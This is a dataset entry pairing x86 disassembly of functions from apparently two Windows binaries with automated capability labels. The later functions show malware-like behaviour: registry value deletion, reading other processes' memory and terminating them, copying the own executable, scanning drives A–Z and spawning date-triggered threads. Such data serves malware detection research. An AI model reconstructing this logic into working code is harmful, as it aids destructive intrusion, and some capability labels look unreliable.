joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004cfa0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1007cad3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.100706ac
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.10075d5f
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.1007727b
test eax, eax
je 0x1004d0bc
mov ecx, dword [esp + 0x3c]
call fcn.10075d8c
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x1004d080
push edi
mov ecx, esi
call fcn.100733d7
mov ecx, esi
call fcn.1004d220
cmp dword [esp + 0x38], 1
jne 0x1004d0b5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.10073512
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x1004faf0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1004fb23
push esi
call fcn.10052be0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004fb1c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1004fba9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1004fb92
mov eax, dword [esi + 8]
test eax, eax
je 0x1004fb47
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004fb8e
cmp eax, 2
je 0x1004fb92
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004fb3a
cmp eax, 3
je 0x1004fb6d
cmp eax, 1
jne 0x1004fb3a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004fb3a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004fb3a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1004fbd0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1004fbb8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1004fbd0
add esp, 4
pop esi
ret

Function at 0x1005bd60
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x1005be03
test eax, eax
jbe 0x1005be03
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x1005be03
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x1005bdae
xor esi, esi
jmp 0x1005bdb4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x1005bddf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.10016610
add esi, eax
push esi
mov ebx, esi
call fcn.10016610
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x1005bdc0
pop ebp
test edi, edi
pop edi
jne 0x1005be03
test ebx, ebx
je 0x1005be03
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.10060290
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x1005bf40
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x1005c05d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1005c05d
mov eax, dword [esi + 0x3c]
push eax
call fcn.10070afe
mov esi, eax
test esi, esi
je 0x1005c05d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x1005c05d
mov ecx, esi
call fcn.1005beb0
cmp edi, eax
jge 0x1005c05d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x1005bfe3
mov dword [esp + 0x34], 1
jmp 0x1005c03e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x1005c05d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.1005b4a0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x100714a2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100714da
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1006f559
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1006f531
jmp 0x100714e6
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10072b94
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x10072bd6
call fcn.10078661
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x10072bd6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10072bcd
xor eax, eax
jmp 0x10072bde
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10072be4
pop edi
pop esi
pop ebx
ret 4
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], eax
cmp esi, dword [ebp + 0x10]
jge 0x401191
mov eax, dword [ebp - 0x10]
push 3
pop edx
cmp eax, edx
mov dword [ebp - 0xc], edx
jge 0x401032
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov eax, 0x3d3d3d3d
lea edi, [ebp - 4]
stosw word es:[edi], ax
test ecx, ecx
stosb byte es:[edi], al
jle 0x401059
mov eax, dword [ebp + 8]
lea edi, [ebp - 4]
add esi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, edx
rep movsb byte es:[edi], byte [esi]
mov cl, byte [ebp - 4]
mov al, cl
shr al, 2
test ebx, ebx
mov byte [ebp - 1], al
je 0x40108e
mov edi, dword [ebp + 0x14]
test edi, edi
jle 0x401096
mov eax, ebx
mov esi, dword [ebp + 0xc]
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401099
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
jmp 0x401099
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x14]
jmp 0x401099
mov esi, dword [ebp + 0xc]
movzx eax, byte [ebp - 1]
mov edx, dword [str.DB_NLJHVTRPZXfdb_nljhvtr]
and cl, 3
shl cl, 4
mov al, byte [eax + edx]
mov byte [ebx + esi], al
mov al, byte [ebp - 3]
mov dl, al
inc ebx
shr dl, 4
add cl, dl
test ebx, ebx
je 0x4010df
test edi, edi
jle 0x4010df
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x4010dc
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
mov al, byte [ebp - 3]
mov edx, dword [str.DB_NLJHVTRPZXfdb_nljhvtr]
and al, 0xf
movzx ecx, cl
shl al, 2
mov cl, byte [ecx + edx]
mov byte [ebx + esi], cl
mov cl, byte [ebp - 2]
mov dl, cl
inc ebx
shr dl, 6
add al, dl
test ebx, ebx
mov byte [ebp - 1], al
je 0x401123
test edi, edi
jle 0x401123
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401123
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
movzx eax, byte [ebp - 1]
mov edx, dword [str.DB_NLJHVTRPZXfdb_nljhvtr]
mov al, byte [eax + edx]
mov byte [ebx + esi], al
inc ebx
cmp dword [ebp - 0xc], 2
jg 0x40113f
mov byte [ebx + esi - 1], 0x3d
and cl, 0x3f
test ebx, ebx
je 0x401164
test edi, edi
jle 0x401164
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401164
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
movzx eax, cl
mov ecx, dword [str.DB_NLJHVTRPZXfdb_nljhvtr]
mov al, byte [eax + ecx]
mov byte [ebx + esi], al
inc ebx
cmp dword [ebp - 0xc], 1
jg 0x40117f
mov byte [ebx + esi - 1], 0x3d
mov esi, dword [ebp - 0x14]
add esi, 3
sub dword [ebp - 0x10], 3
mov dword [ebp - 0x14], esi
jmp 0x401019
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x40f244
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, str.xDjf
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c3e8
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push 0x40fb6f
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push 0x40fc6f
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, str.xDjf
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c3e8
lea eax, [ebp - 0x814]
push eax
call fcn.0040c3e8
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push str.____
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4013fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push 0x40e0c0
call fcn.00407460
xor ebx, ebx
mov dword [esp], str.__fN_f
push ebx
mov dword [ebp - 0x14], eax
call fcn.004052d3
push ebx
push 0x40fba1
call fcn.00403464
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x444]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 8]
mov dword [ebp - 0x340], 0x224
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x4015ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407370
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.0040c540
add esp, 0x10
test eax, eax
je 0x4015ef
push dword [ebp - 0x338]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4015ef
push esi
mov esi, 0x80000
push edi
push esi
mov edi, 0x411970
push ebx
push edi
call fcn.00407310
mov eax, dword [ebp - 0x328]
add esp, 0xc
cmp eax, esi
jb 0x4014e1
mov eax, esi
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x401506
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push dword [ebp - 0x32c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4015e1
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4015e1
push dword [ebp + 8]
push 0x40fba1
call fcn.00403434
push eax
mov dword [ebp - 0x10], eax
call fcn.00407460
xor esi, esi
add esp, 0xc
cmp dword [ebp + 0xc], esi
mov ebx, eax
je 0x40153c
lea eax, [ebx + 0x6e]
mov dword [ebp - 8], eax
jmp 0x40153f
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 0xa
je 0x4015d2
push dword [ebp - 0x14]
lea edi, [esi + 0x411970]
push edi
push 0x40e0c0
call fcn.0040c490
add esp, 0xc
test eax, eax
je 0x4015cb
cmp dword [ebp + 0xc], 0
jne 0x40158b
push ebx
push edi
push dword [ebp - 0x10]
call fcn.0040c490
add esp, 0xc
test eax, eax
je 0x40158b
mov eax, dword [ebp - 8]
inc esi
sub eax, ebx
sub eax, 0xa
cmp esi, eax
jb 0x40154a
jmp 0x4015d2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x40fdcc
call fcn.00403434
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x4015cb
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 8], eax
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x401512
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
pop edi
pop esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push str.__fN_f
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x40fb6f
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x40fc6f
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push 0x40fb6f
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405967
lea eax, [ebp - 0x324]
push 0
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004074db
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1d8
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407196
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x40596b
call fcn.00401808
xor eax, eax
jmp 0x4059bf
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040780b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046b3
pop ecx
test eax, eax
pop ecx
je 0x4059bd
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405e9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.XT_d
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044c0
lea eax, [ebp - 0x10c]
push eax
call fcn.00405c5a
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.004076ee
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f44
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f44
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e42
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405efe
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406a68
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21d4
call fcn.00407b80
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406a9c
push dword [ebp + 8]
call fcn.004046f6
test eax, eax
pop ecx
jne 0x406bda
mov edi, str.__f._
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ac0
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ae5
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406bda
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1ec0
lea eax, [ebp - 0x21d4]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [ebp - 0x21d4]
mov byte [ebp - 0x11c0], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054b3
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407370
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407380
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050c1
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406d75
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406d87
cmp word [ebp - 0xe], 6
jne 0x406d87
and dword [0x491e94], 0
cmp ax, 7
mov dword [0x491e98], ebx
jne 0x406dc0
mov dword [0x491e94], ebx
cmp ax, bx
jne 0x406dcb
mov dword [0x491e94], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d1c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406dcd
push 0x1b7740
call edi
call fcn.00406d5e
push 0xffffffffffffffff
call edi
jmp 0x406d87